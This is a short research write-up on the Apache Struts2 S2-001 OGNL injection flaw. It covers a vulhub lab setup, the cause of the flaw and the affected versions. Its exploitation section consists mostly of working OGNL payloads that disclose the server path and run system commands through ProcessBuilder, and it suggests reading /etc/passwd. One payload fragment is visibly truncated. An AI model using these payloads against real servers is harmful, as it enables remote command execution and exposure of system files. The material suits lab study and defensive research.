[Research] Struts2 S2-001 Vulnerability Environment and PoC
This article describes the S2-001 vulnerability environment, underlying OGNL expression parsing flaw, affected Struts versions, exploitation process, and PoC.
Read in Chinese→[Research] Struts2 S2-001 Vulnerability Environment and PoC
1. Environment
Environment
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
Setting up this environment is quick and convenient. See the instructions for details; it is very straightforward.
2. Technical Details
This vulnerability occurs because, when a user submits form data and validation fails, the backend parses the parameter values previously submitted by the user using the OGNL expression %{value}
and then repopulates the corresponding form fields. For example, when a registration or login submission fails, the backend generally returns the previously submitted data by default. Because the backend uses %{value}
to parse the submitted data as an OGNL expression, a payload can be constructed directly to execute commands.
3. Affected Versions
Struts 2.0.0 - Struts 2.0.8
4. Exploitation Process
Open the environment
![Insert image description here]
[Image upload failed…(image-5bcfcf-1563099334703)]
The issue with this vulnerability is that input can be entered directly and its output displayed directly.
Paste the PoC into an input field and click Submit.
The data will then be submitted to the backend, which checks whether the value is empty and then returns it, satisfying the prerequisite for the vulnerability.
PoC
Obtain the Tomcat execution path:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```
You need to construct the command yourself, for example:```
{"cat","/etc/passwd"}